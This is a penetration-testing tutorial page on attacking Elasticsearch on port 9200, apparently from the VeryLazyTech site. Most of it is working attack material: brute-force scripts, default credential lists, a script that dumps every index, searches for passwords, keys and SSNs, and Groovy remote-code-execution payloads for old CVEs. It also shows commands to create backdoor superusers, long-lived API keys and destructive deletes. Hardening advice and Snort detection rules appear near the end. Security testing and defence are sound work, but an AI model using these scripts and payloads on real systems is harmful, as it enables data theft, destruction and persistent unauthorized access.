# Elasticsearch - Port 9200

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Elasticsearch?

**Elasticsearch** is a distributed NoSQL database that provides:

* **Full-text search** - Fast, powerful search capabilities
* **Real-time indexing** - Near-instant data availability
* **Horizontal scalability** - Add nodes seamlessly
* **RESTful API** - Simple HTTP/JSON interface
* **Multi-tenancy** - Multiple indices per cluster
* **Aggregations** - Analytics and data insights

#### The Elastic Stack (ELK)

```
┌─────────────────────────────────────────────────────────────┐
│                    Elastic Stack Architecture               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  ┌─────────┐         ┌──────────┐        ┌─────────────┐    │
│  │  Beats  │────────>│ Logstash │───────>│Elasticsearch│    │
│  │(Agents) │         │(Process) │        │  (Storage)  │    │
│  └─────────┘         └──────────┘        └──────┬──────┘    │
│                                                  │          │
│                                                  V          │
│                                          ┌───────────┐      │
│                                          │  Kibana   │      │
│                                          │(Visualize)│      │
│                                          └───────────┘      │
└─────────────────────────────────────────────────────────────┘
```

**Components:**

* **Beats** - Lightweight data shippers
* **Logstash** - Data processing pipeline
* **Elasticsearch** - Search and analytics engine
* **Kibana** - Visualization and management UI

#### Data Model

```
Cluster
├── Node 1
│   ├── Index (customer_data)
│   │   ├── Document 1 (JSON)
│   │   ├── Document 2 (JSON)
│   │   └── Document N
│   └── Index (logs-2024)
│       └── Documents...
└── Node 2
    └── Indices (replicas)...
```

**Key Concepts:**

* **Cluster** - Collection of nodes
* **Node** - Single Elasticsearch instance
* **Index** - Collection of related documents
* **Document** - JSON object with data
* **Shard** - Subset of an index
* **Replica** - Copy of a shard for redundancy

#### Inverted Index

Elasticsearch uses an **inverted index** for fast search:

```
Original Documents:
Doc1: "The quick brown fox"
Doc2: "Quick brown dogs"

Inverted Index:
Term     | Documents
---------|----------
quick    | Doc1, Doc2
brown    | Doc1, Doc2
fox      | Doc1
dogs     | Doc2
```

#### Use Cases

**Real-World Deployments:**

* **Netflix** - Search infrastructure
* **LinkedIn** - Job search and recommendations
* **Uber** - Customer support and analytics
* **GitHub** - Code search
* **eBay** - Product search
* **Stack Overflow** - Q\&A search

**Common Applications:**

* Log aggregation and analysis
* Application search
* Security information and event management (SIEM)
* Business analytics
* Metrics and monitoring
* Geospatial data analysis

#### Default Port

**Port 9200** - Elasticsearch HTTP API

```
PORT     STATE SERVICE
9200/tcp open  http    Elasticsearch REST API
```

**Additional Ports:**

* **9300** - Transport protocol (node-to-node)
* **5601** - Kibana web interface

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 9200 -sV <target-ip>

# Detailed scan
nmap -p 9200,9300,5601 -sV -sC <target-ip>

# Elasticsearch-specific scripts
nmap -p 9200 --script http-title,http-methods <target-ip>

# Comprehensive scan
nmap -p 9200 -A <target-ip>

# Scan subnet
nmap -p 9200 -sV <target-subnet>/24 -oA elasticsearch-scan
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
9200/tcp open  http    Elasticsearch REST API 7.10.2 (name: node-1; Lucene 8.7.0)
| http-title: Site doesn't have a title (application/json; charset=UTF-8).
|_Requested resource was /?pretty=true
```

#### Banner Grabbing

**Basic Information**

```bash
# Root endpoint
curl http://<target-ip>:9200/

# Sample response:
{
  "name" : "node-1",
  "cluster_name" : "production",
  "cluster_uuid" : "abc123-def456-ghi789",
  "version" : {
    "number" : "7.10.2",
    "build_flavor" : "default",
    "build_type" : "tar",
    "build_hash" : "747e1cc71def077253878a59143c1f785afa92b9",
    "build_date" : "2021-01-13T00:42:12.435326Z",
    "build_snapshot" : false,
    "lucene_version" : "8.7.0",
    "minimum_wire_compatibility_version" : "6.8.0",
    "minimum_index_compatibility_version" : "6.0.0-beta1"
  },
  "tagline" : "You Know, for Search"
}
```

**Extract Key Information:**

* Cluster name
* Node name
* Elasticsearch version
* Lucene version
* Build information

#### Shodan Queries

```
port:9200 elastic
port:9200 "You Know, for Search"
elasticsearch port:9200
"cluster_name" "elasticsearch"
product:"Elastic"
```

## Authentication Testing

#### Check Authentication Status

**Unauthenticated Access (Default)**

```bash
# Try accessing without credentials
curl http://<target-ip>:9200/

# If successful, NO AUTHENTICATION!
# This is CRITICAL - full data access
```

**Authentication Enabled**

```bash
# If authentication is enabled, you'll get:
{
  "error": {
    "root_cause": [{
      "type": "security_exception",
      "reason": "missing authentication credentials for REST request [/]",
      "header": {
        "WWW-Authenticate": "Basic realm=\"security\" charset=\"UTF-8\""
      }
    }],
    "type": "security_exception",
    "reason": "missing authentication credentials for REST request [/]",
    "header": {
      "WWW-Authenticate": "Basic realm=\"security\" charset=\"UTF-8\""
    }
  },
  "status": 401
}
```

**Check Security Configuration**

```bash
# Check X-Pack security status
curl http://<target-ip>:9200/_xpack/security/user

# If disabled, response:
{
  "error": {
    "type": "exception",
    "reason": "Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."
  },
  "status": 500
}
```

#### Default Credentials

**Common Default Users:**

```
elastic:changeme         # Old default password
elastic:elastic
admin:admin
kibana:kibana
logstash_system:changeme
beats_system:changeme
remote_monitoring_user:changeme
apm_system:changeme
```

**Test Default Credentials:**

```bash
# HTTP Basic Authentication
curl -u elastic:changeme http://<target-ip>:9200/

# Alternate syntax
curl http://elastic:changeme@<target-ip>:9200/
```

#### Brute Force Authentication

**Using Hydra**

```bash
# Brute force Elasticsearch
hydra -L users.txt -P passwords.txt <target-ip> http-get /

# With specific path
hydra -l elastic -P /usr/share/wordlists/rockyou.txt <target-ip> http-get / -s 9200

# Verbose mode
hydra -L users.txt -P passwords.txt -V <target-ip> http-get / -s 9200
```

**Custom Python Script**

```python
#!/usr/bin/env python3
"""
Elasticsearch Authentication Brute Force
"""
import requests
from requests.auth import HTTPBasicAuth
import sys

def brute_force(host, port, username, password_file):
    """Brute force Elasticsearch authentication"""
    url = f"http://{host}:{port}/"
    
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            
            try:
                r = requests.get(url, auth=HTTPBasicAuth(username, password), timeout=5)
                
                if r.status_code == 200:
                    print(f"[+] SUCCESS: {username}:{password}")
                    return password
                else:
                    print(f"[-] Failed: {username}:{password}")
                    
            except Exception as e:
                print(f"[!] Error: {e}")
    
    print("[-] Password not found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <host> <port> <username> <password_file>")
        sys.exit(1)
    
    brute_force(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])
```

## Enumeration Techniques

#### Cluster Information

**Basic Cluster Info**

```bash
# Cluster health
curl http://<target-ip>:9200/_cluster/health?pretty

# Cluster settings
curl http://<target-ip>:9200/_cluster/settings?pretty

# Cluster state
curl http://<target-ip>:9200/_cluster/state?pretty

# Cluster stats
curl http://<target-ip>:9200/_cluster/stats?pretty
```

**Node Information**

```bash
# List nodes
curl http://<target-ip>:9200/_cat/nodes?v

# Node stats
curl http://<target-ip>:9200/_nodes/stats?pretty

# Node info
curl http://<target-ip>:9200/_nodes?pretty

# Hot threads (performance)
curl http://<target-ip>:9200/_nodes/hot_threads
```

#### Index Enumeration

**List All Indices**

```bash
# Simple list
curl http://<target-ip>:9200/_cat/indices?v

# Sample output:
health status index      pri rep docs.count docs.deleted store.size
yellow open   customers    5   1       1000            0      500kb
green  open   logs-2024    5   1      50000           10        2gb
yellow open   .kibana      1   0          5            0       50kb

# Detailed JSON
curl http://<target-ip>:9200/_cat/indices?v&format=json&pretty

# Filter by name pattern
curl http://<target-ip>:9200/_cat/indices/log*?v
```

**Index Details**

```bash
# Get index mapping (schema)
curl http://<target-ip>:9200/<index>/_mapping?pretty

# Example:
curl http://<target-ip>:9200/customers/_mapping?pretty

# Index settings
curl http://<target-ip>:9200/<index>/_settings?pretty

# Index stats
curl http://<target-ip>:9200/<index>/_stats?pretty
```

#### User & Role Enumeration

**List Users (If Auth Enabled)**

```bash
# All users
curl -u elastic:changeme http://<target-ip>:9200/_security/user?pretty

# Specific user
curl -u elastic:changeme http://<target-ip>:9200/_security/user/elastic?pretty

# Sample output:
{
  "elastic": {
    "username": "elastic",
    "roles": ["superuser"],
    "full_name": null,
    "email": null,
    "metadata": {},
    "enabled": true
  }
}
```

**List Roles**

```bash
# All roles
curl -u elastic:changeme http://<target-ip>:9200/_security/role?pretty

# Specific role
curl -u elastic:changeme http://<target-ip>:9200/_security/role/superuser?pretty
```

**List Privileges**

```bash
# Role mappings
curl -u elastic:changeme http://<target-ip>:9200/_security/role_mapping?pretty

# Privileges
curl -u elastic:changeme http://<target-ip>:9200/_security/privilege?pretty
```

#### API Endpoint Discovery

**Cat APIs (Administrative)**

```bash
# List all cat endpoints
curl http://<target-ip>:9200/_cat

# Useful cat endpoints:
curl http://<target-ip>:9200/_cat/aliases?v
curl http://<target-ip>:9200/_cat/allocation?v
curl http://<target-ip>:9200/_cat/count?v
curl http://<target-ip>:9200/_cat/fielddata?v
curl http://<target-ip>:9200/_cat/health?v
curl http://<target-ip>:9200/_cat/indices?v
curl http://<target-ip>:9200/_cat/master?v
curl http://<target-ip>:9200/_cat/nodes?v
curl http://<target-ip>:9200/_cat/pending_tasks?v
curl http://<target-ip>:9200/_cat/plugins?v
curl http://<target-ip>:9200/_cat/recovery?v
curl http://<target-ip>:9200/_cat/repositories?v
curl http://<target-ip>:9200/_cat/segments?v
curl http://<target-ip>:9200/_cat/shards?v
curl http://<target-ip>:9200/_cat/snapshots?v
curl http://<target-ip>:9200/_cat/tasks?v
curl http://<target-ip>:9200/_cat/templates?v
curl http://<target-ip>:9200/_cat/thread_pool?v
```

## Data Exfiltration

#### Search and Dump Data

**Basic Search**

```bash
# Search all indices
curl http://<target-ip>:9200/_search?pretty

# Search specific index
curl http://<target-ip>:9200/customers/_search?pretty

# Search with query
curl http://<target-ip>:9200/_search?q=password&pretty

# Search with size limit
curl http://<target-ip>:9200/_search?size=1000&pretty
```

**Query DSL (Domain Specific Language)**

```bash
# Match all documents
curl -X POST http://<target-ip>:9200/customers/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "match_all": {}
  },
  "size": 10000
}'

# Search for specific term
curl -X POST http://<target-ip>:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "match": {
      "password": "secret"
    }
  }
}'

# Wildcard search
curl -X POST http://<target-ip>:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "wildcard": {
      "email": "*@admin.com"
    }
  }
}'

# Range query
curl -X POST http://<target-ip>:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "range": {
      "age": {
        "gte": 18,
        "lte": 65
      }
    }
  }
}'
```

**Regex Search**

```bash
# Regular expression search
curl -X POST http://<target-ip>:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "query": {
    "regexp": {
      "username": "admin.*"
    }
  }
}'

# Note: q parameter also supports regex
curl "http://<target-ip>:9200/_search?q=username:/admin.*/&pretty"
```

#### Dump Entire Index

**Method 1: Simple GET Request**

```bash
# Get all documents (default 10)
curl http://<target-ip>:9200/customers/_search?pretty

# Increase size parameter
curl http://<target-ip>:9200/customers/_search?pretty&size=10000

# If more than 10000 documents, use scroll API
```

**Method 2: Scroll API (Large Datasets)**

```bash
# Step 1: Initialize scroll
SCROLL_ID=$(curl -X POST http://<target-ip>:9200/customers/_search?scroll=5m -H 'Content-Type: application/json' -d'
{
  "size": 1000,
  "query": {
    "match_all": {}
  }
}' | jq -r '._scroll_id')

# Step 2: Get results and continue scrolling
curl -X POST http://<target-ip>:9200/_search/scroll -H 'Content-Type: application/json' -d'
{
  "scroll": "5m",
  "scroll_id": "'$SCROLL_ID'"
}'

# Repeat Step 2 until no more results
```

**Method 3: Export with Elasticsearch Dump**

```bash
# Install elasticdump
npm install -g elasticdump

# Dump index data
elasticdump \
  --input=http://<target-ip>:9200/customers \
  --output=customers.json \
  --type=data

# Dump index mapping
elasticdump \
  --input=http://<target-ip>:9200/customers \
  --output=customers_mapping.json \
  --type=mapping

# Dump with authentication
elasticdump \
  --input=http://elastic:changeme@<target-ip>:9200/customers \
  --output=customers.json \
  --type=data
```

#### Dump All Indices

```bash
#!/bin/bash
# Elasticsearch Complete Dump Script

HOST=$1
OUTPUT_DIR="elasticsearch_dump"

if [ -z "$HOST" ]; then
    echo "Usage: $0 <host>"
    exit 1
fi

mkdir -p $OUTPUT_DIR

echo "[*] Dumping Elasticsearch from $HOST"

# Get all indices
INDICES=$(curl -s http://$HOST:9200/_cat/indices?h=index | grep -v "^\.")

for index in $INDICES; do
    echo "[*] Dumping index: $index"
    
    # Get document count
    COUNT=$(curl -s http://$HOST:9200/_cat/indices/$index?h=docs.count)
    echo "    [*] Document count: $COUNT"
    
    # Dump with appropriate size
    if [ "$COUNT" -lt 10000 ]; then
        curl -s "http://$HOST:9200/$index/_search?size=$COUNT&pretty" > $OUTPUT_DIR/${index}.json
    else
        # Use elasticdump for large indices
        elasticdump \
            --input=http://$HOST:9200/$index \
            --output=$OUTPUT_DIR/${index}.json \
            --type=data
    fi
    
    echo "    [+] Saved to $OUTPUT_DIR/${index}.json"
done

echo "[+] Dump complete!"
```

#### Search for Sensitive Data

**Common Sensitive Fields**

```bash
# Search for passwords
curl "http://<target-ip>:9200/_search?q=password&pretty"
curl "http://<target-ip>:9200/_search?q=pass&pretty"
curl "http://<target-ip>:9200/_search?q=pwd&pretty"

# Search for API keys
curl "http://<target-ip>:9200/_search?q=api_key&pretty"
curl "http://<target-ip>:9200/_search?q=apikey&pretty"
curl "http://<target-ip>:9200/_search?q=token&pretty"

# Search for credentials
curl "http://<target-ip>:9200/_search?q=username&pretty"
curl "http://<target-ip>:9200/_search?q=email&pretty"
curl "http://<target-ip>:9200/_search?q=secret&pretty"

# Search for SSN/credit cards
curl "http://<target-ip>:9200/_search?q=ssn&pretty"
curl "http://<target-ip>:9200/_search?q=credit_card&pretty"

# Search for private keys
curl "http://<target-ip>:9200/_search?q=private_key&pretty"
curl "http://<target-ip>:9200/_search?q=BEGIN+RSA+PRIVATE+KEY&pretty"
```

## Exploitation Techniques

#### Unauthorized Data Modification

**Create Index**

```bash
# Create new index
curl -X PUT http://<target-ip>:9200/backdoor_index -H 'Content-Type: application/json' -d'
{
  "settings": {
    "number_of_shards": 1,
    "number_of_replicas": 0
  }
}'
```

**Insert Document**

```bash
# Insert document
curl -X POST http://<target-ip>:9200/customers/_doc -H 'Content-Type: application/json' -d'
{
  "username": "backdoor",
  "password": "secret123",
  "email": "backdoor@evil.com",
  "role": "admin"
}'

# Insert with specific ID
curl -X PUT http://<target-ip>:9200/customers/_doc/12345 -H 'Content-Type: application/json' -d'
{
  "username": "attacker",
  "password": "hacked",
  "role": "superuser"
}'
```

**Update Document**

```bash
# Update existing document
curl -X POST http://<target-ip>:9200/customers/_update/1 -H 'Content-Type: application/json' -d'
{
  "doc": {
    "role": "admin",
    "password": "compromised"
  }
}'
```

**Delete Data**

```bash
# Delete document
curl -X DELETE http://<target-ip>:9200/customers/_doc/1

# Delete by query
curl -X POST http://<target-ip>:9200/customers/_delete_by_query -H 'Content-Type: application/json' -d'
{
  "query": {
    "match": {
      "username": "victim"
    }
  }
}'

# Delete entire index (destructive!)
curl -X DELETE http://<target-ip>:9200/customers
```

#### Code Execution via Scripts

**Groovy Scripts (Elasticsearch < 1.5)**

```bash
# Execute system command via Groovy
curl -X POST http://<target-ip>:9200/_search -H 'Content-Type: application/json' -d'
{
  "query": {
    "script_fields": {
      "exec": {
        "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
      }
    }
  }
}'

# Note: This is disabled in newer versions
```

**Painless Scripts (Elasticsearch >= 5.0)**

```bash
# Painless is sandboxed, but misconfigurations can allow execution
curl -X POST http://<target-ip>:9200/_search -H 'Content-Type: application/json' -d'
{
  "query": {
    "match_all": {}
  },
  "script_fields": {
    "test": {
      "script": {
        "lang": "painless",
        "source": "params._source.username"
      }
    }
  }
}'

# Limited compared to Groovy
# Sandboxed environment
```

## Known Vulnerabilities & CVEs

#### CVE-2014-3120: Remote Code Execution (Groovy)

**Affected:** Elasticsearch < 1.2.0

**Exploitation:**

```bash
# Execute command via Groovy script
curl -X POST http://<target-ip>:9200/_search?pretty -H 'Content-Type: application/json' -d'
{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "command": {
      "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'
```

**Metasploit Module:**

```bash
msf6 > use exploit/multi/elasticsearch/script_mvel_rce
msf6 exploit(multi/elasticsearch/script_mvel_rce) > set RHOSTS <target-ip>
msf6 exploit(multi/elasticsearch/script_mvel_rce) > set RPORT 9200
msf6 exploit(multi/elasticsearch/script_mvel_rce) > exploit
```

#### CVE-2015-1427: Groovy Sandbox Bypass

**Affected:** Elasticsearch < 1.3.8, 1.4.x < 1.4.3

**Exploitation:**

```bash
# Bypass sandbox
curl -X POST http://<target-ip>:9200/_search -H 'Content-Type: application/json' -d'
{
  "size": 1,
  "script_fields": {
    "lupin": {
      "script": "java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()"
    }
  }
}'
```

#### CVE-2021-22145: Denial of Service

**Affected:** Elasticsearch 7.10.0-7.13.3

**Impact:** Memory exhaustion via malformed requests

#### CVE-2023-31419: Authentication Bypass

**Affected:** Elasticsearch 8.0.0 - 8.7.0

**Description:** API key authentication bypass in specific configurations

#### Directory Traversal (Various Versions)

**Path Traversal in Snapshot Repository:**

```bash
# Create repository with path traversal
curl -X PUT http://<target-ip>:9200/_snapshot/backup -H 'Content-Type: application/json' -d'
{
  "type": "fs",
  "settings": {
    "location": "/etc"
  }
}'

# Read arbitrary files
curl -X PUT http://<target-ip>:9200/_snapshot/backup/snapshot1?wait_for_completion=true -H 'Content-Type: application/json' -d'
{
  "indices": "_all"
}'
```

## Post-Exploitation

#### Privilege Escalation

**Create Superuser (If Auth Enabled)**

```bash
# Create new superuser
curl -X POST http://elastic:changeme@<target-ip>:9200/_security/user/backdoor -H 'Content-Type: application/json' -d'
{
  "password": "P@ssw0rd123!",
  "roles": ["superuser"],
  "full_name": "Backdoor Admin"
}'
```

**Modify User Roles**

```bash
# Grant superuser to existing user
curl -X PUT http://elastic:changeme@<target-ip>:9200/_security/user/lowpriv -H 'Content-Type: application/json' -d'
{
  "roles": ["superuser"]
}'
```

#### Persistence

**Create API Key**

```bash
# Create long-lived API key
curl -X POST http://elastic:changeme@<target-ip>:9200/_security/api_key -H 'Content-Type: application/json' -d'
{
  "name": "system_monitoring",
  "role_descriptors": {
    "superuser_role": {
      "cluster": ["all"],
      "index": [
        {
          "names": ["*"],
          "privileges": ["all"]
        }
      ]
    }
  },
  "expiration": "365d"
}'

# Use API key
curl -H "Authorization: ApiKey <base64_id:api_key>" http://<target-ip>:9200/
```

**Snapshot Backdoor**

```bash
# Create snapshot repository
curl -X PUT http://<target-ip>:9200/_snapshot/backdoor -H 'Content-Type: application/json' -d'
{
  "type": "fs",
  "settings": {
    "location": "/tmp/backdoor"
  }
}'

# Create snapshot with all data
curl -X PUT http://<target-ip>:9200/_snapshot/backdoor/snap1?wait_for_completion=true
```

#### Lateral Movement

**Extract Configuration**

```bash
# Cluster settings may contain credentials
curl http://<target-ip>:9200/_cluster/settings?pretty

# Node settings
curl http://<target-ip>:9200/_nodes?pretty | grep -A 20 "settings"
```

**Harvest Credentials from Data**

```bash
# Search for database connection strings
curl "http://<target-ip>:9200/_search?q=jdbc:&pretty"

# Search for AWS credentials
curl "http://<target-ip>:9200/_search?q=aws_access_key_id&pretty"

# Search for SSH keys
curl "http://<target-ip>:9200/_search?q=BEGIN+RSA+PRIVATE+KEY&pretty"
```

## Defense & Hardening

#### Enable Authentication

**elasticsearch.yml Configuration:**

```yaml
# Enable X-Pack security
xpack.security.enabled: true

# Require SSL/TLS
xpack.security.transport.ssl.enabled: true
xpack.security.http.ssl.enabled: true

# SSL certificates
xpack.security.http.ssl.keystore.path: /path/to/keystore.p12
xpack.security.http.ssl.truststore.path: /path/to/truststore.p12
```

**Set Strong Passwords:**

```bash
# Use elasticsearch-setup-passwords tool
/usr/share/elasticsearch/bin/elasticsearch-setup-passwords auto

# Or set manually
/usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive

# Change password via API
curl -X POST http://elastic:current_password@<target-ip>:9200/_security/user/elastic/_password -H 'Content-Type: application/json' -d'
{
  "password": "VeryStrongPassword123!@#"
}'
```

**Role-Based Access Control:**

```bash
# Create read-only role
curl -X POST http://elastic:password@<target-ip>:9200/_security/role/readonly -H 'Content-Type: application/json' -d'
{
  "cluster": ["monitor"],
  "indices": [
    {
      "names": ["*"],
      "privileges": ["read"]
    }
  ]
}'

# Create user with role
curl -X POST http://elastic:password@<target-ip>:9200/_security/user/viewer -H 'Content-Type: application/json' -d'
{
  "password": "ViewerPass123!",
  "roles": ["readonly"]
}'
```

#### Network Security

**Bind to Specific Interface:**

```yaml
# elasticsearch.yml
# Don't bind to all interfaces
# network.host: 0.0.0.0  # DANGEROUS

# Bind to localhost
network.host: 127.0.0.1

# Or specific IP
network.host: 192.168.1.100
```

**Firewall Rules:**

```bash
# UFW
sudo ufw deny 9200/tcp
sudo ufw deny 9300/tcp

# Allow from application servers only
sudo ufw allow from 192.168.1.0/24 to any port 9200

# iptables
sudo iptables -A INPUT -p tcp --dport 9200 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9300 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9200 -j DROP
sudo iptables -A INPUT -p tcp --dport 9300 -j DROP
```

**Reverse Proxy with Authentication:**

```nginx
# Nginx configuration
server {
    listen 80;
    server_name elasticsearch.example.com;
    
    location / {
        proxy_pass http://127.0.0.1:9200;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        
        auth_basic "Elasticsearch";
        auth_basic_user_file /etc/nginx/.htpasswd;
        
        # IP whitelist
        allow 192.168.1.0/24;
        deny all;
    }
}
```

#### Disable Dangerous Features

**Disable Scripts (If Not Needed):**

```yaml
# elasticsearch.yml
script.allowed_types: none
```

**Disable Dynamic Scripting:**

```yaml
script.inline: false
script.stored: false
```

**Limit API Access:**

```yaml
# Restrict destructive operations
action.destructive_requires_name: true
```

## Monitoring & Detection

**Enable Audit Logging:**

```yaml
# elasticsearch.yml
xpack.security.audit.enabled: true
xpack.security.audit.logfile.events.include: [
  "access_denied",
  "access_granted",
  "anonymous_access_denied",
  "authentication_failed",
  "authentication_success",
  "connection_denied",
  "connection_granted"
]
```

**Monitor Logs:**

```bash
# Elasticsearch logs
tail -f /var/log/elasticsearch/elasticsearch.log

# Look for suspicious activity
grep "authentication_failed" /var/log/elasticsearch/elasticsearch.log
grep "access_denied" /var/log/elasticsearch/elasticsearch.log
grep "_delete_by_query" /var/log/elasticsearch/elasticsearch.log

# Audit logs
tail -f /var/log/elasticsearch/elasticsearch_audit.json
```

**Intrusion Detection:**

```bash
# Snort rules
alert tcp any any -> any 9200 (msg:"Elasticsearch unauthenticated access"; content:"/_search"; sid:1000001;)
alert tcp any any -> any 9200 (msg:"Elasticsearch script execution"; content:"script"; sid:1000002;)
alert tcp any any -> any 9200 (msg:"Elasticsearch delete operation"; content:"DELETE"; sid:1000003;)
alert tcp any any -> any 9200 (msg:"Elasticsearch create user attempt"; content:"/_security/user"; sid:1000004;)
```

#### Regular Security Practices

```bash
# Keep Elasticsearch updated
# Check: https://www.elastic.co/downloads/elasticsearch

# Current version
curl http://localhost:9200/ | jq .version.number

# Review users
curl -u elastic:password http://localhost:9200/_security/user?pretty

# Review roles
curl -u elastic:password http://localhost:9200/_security/role?pretty

# Check cluster settings
curl -u elastic:password http://localhost:9200/_cluster/settings?pretty

# Backup indices
curl -X PUT http://localhost:9200/_snapshot/backup_repo
curl -X PUT http://localhost:9200/_snapshot/backup_repo/snapshot1?wait_for_completion=true

# Security audit script
#!/bin/bash
echo "[*] Elasticsearch Security Audit"

# Check if authentication enabled
curl -s http://localhost:9200/ | grep -q "security_exception"
if [ $? -eq 0 ]; then
    echo "[+] Authentication is enabled"
else
    echo "[!] WARNING: No authentication!"
fi

# Check network binding
grep "network.host" /etc/elasticsearch/elasticsearch.yml

# Check X-Pack security
grep "xpack.security.enabled" /etc/elasticsearch/elasticsearch.yml

echo "[*] Audit complete!"
```

## Tools & Scripts

#### Essential Tools

1. **curl** - HTTP API interaction
2. **elasticdump** - Data export tool
3. **Metasploit** - Exploitation framework
4. **esearch** - Elasticsearch CLI
5. **jq** - JSON parsing

#### Python Enumeration Script

```python
#!/usr/bin/env python3
"""
Elasticsearch Enumeration Tool
"""
import requests
from requests.auth import HTTPBasicAuth
import sys
import json

class ElasticsearchEnum:
    def __init__(self, host, port=9200, username=None, password=None):
        self.host = host
        self.port = port
        self.base_url = f"http://{host}:{port}"
        self.auth = HTTPBasicAuth(username, password) if username else None
    
    def check_auth(self):
        """Check if authentication is required"""
        try:
            r = requests.get(self.base_url, auth=self.auth, timeout=5)
            if r.status_code == 200:
                print("[+] No authentication required!")
                return False
            elif r.status_code == 401:
                print("[!] Authentication required")
                return True
        except Exception as e:
            print(f"[-] Error: {e}")
            return None
    
    def get_cluster_info(self):
        """Get cluster information"""
        print("\n[*] Cluster Information:")
        
        try:
            r = requests.get(self.base_url, auth=self.auth)
            if r.status_code == 200:
                data = r.json()
                print(f"    Cluster: {data.get('cluster_name')}")
                print(f"    Node: {data.get('name')}")
                print(f"    Version: {data['version']['number']}")
                print(f"    Lucene: {data['version']['lucene_version']}")
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def list_indices(self):
        """List all indices"""
        print("\n[*] Indices:")
        
        try:
            r = requests.get(f"{self.base_url}/_cat/indices?v", auth=self.auth)
            if r.status_code == 200:
                print(r.text)
        except Exception as e:
            print(f"[-] Error: {e}")
    
    def search_all(self, query="*"):
        """Search all indices"""
        print(f"\n[*] Searching for: {query}")
        
        try:
            r = requests.get(f"{self.base_url}/_search?q={query}&size=10&pretty", auth=self.auth)
            if r.status_code == 200:
                data = r.json()
                total = data['hits']['total']['value']
                print(f"[+] Found {total} results")
                
                for hit in data['hits']['hits'][:5]:
                    print(f"\n    Index: {hit['_index']}")
                    print(f"    ID: {hit['_id']}")
                    print(f"    Source: {json.dumps(hit['_source'], indent=6)}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [username] [password]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9200
    username = sys.argv[3] if len(sys.argv) > 3 else None
    password = sys.argv[4] if len(sys.argv) > 4 else None
    
    enum = ElasticsearchEnum(host, port, username, password)
    enum.check_auth()
    enum.get_cluster_info()
    enum.list_indices()
    enum.search_all("password")
```

## Cheat Sheet

#### Quick Reference

```bash
# PORT SCANNING
nmap -p 9200 -sV <target>

# BANNER GRAB
curl http://<target>:9200/

# LIST INDICES
curl http://<target>:9200/_cat/indices?v

# SEARCH ALL
curl http://<target>:9200/_search?pretty
curl http://<target>:9200/_search?q=password&pretty

# DUMP INDEX
curl http://<target>:9200/<index>/_search?size=10000&pretty

# WITH AUTHENTICATION
curl -u elastic:changeme http://<target>:9200/

# LIST USERS
curl -u elastic:changeme http://<target>:9200/_security/user?pretty

# CREATE USER
curl -X POST -u elastic:changeme http://<target>:9200/_security/user/backdoor -H 'Content-Type: application/json' -d'{"password":"pass","roles":["superuser"]}'
```

#### Important Endpoints

```
/                           # Cluster info
/_cat/indices               # List indices
/_cat/nodes                 # List nodes
/_search                    # Search all
/<index>/_search            # Search index
/_security/user             # List users
/_security/role             # List roles
/_cluster/health            # Cluster health
/_cluster/settings          # Settings
```

#### Default Credentials

```
elastic:changeme
elastic:elastic
admin:admin
```

### Conclusion

Elasticsearch, designed for speed and simplicity, often sacrifices security for ease of use in default configurations. The combination of no authentication, powerful REST APIs, and rich data makes exposed Elasticsearch instances extremely valuable targets.

**Key Takeaways:**

1. **Enable X-Pack security** - Never run without authentication
2. **Change default credentials** - elastic:changeme is widely known
3. **Network segmentation** - Bind to localhost or private network
4. **Enable SSL/TLS** - Encrypt all communications
5. **Implement RBAC** - Least privilege access
6. **Disable scripting** - If not needed
7. **Monitor actively** - Enable audit logging
8. **Regular updates** - Apply security patches
9. **Limit API access** - Restrict destructive operations
10. **Defense in depth** - Multiple security layers

**Attack Vectors:**

* No authentication (common default)
* Default credentials
* Information disclosure
* Data exfiltration
* Unauthorized modification
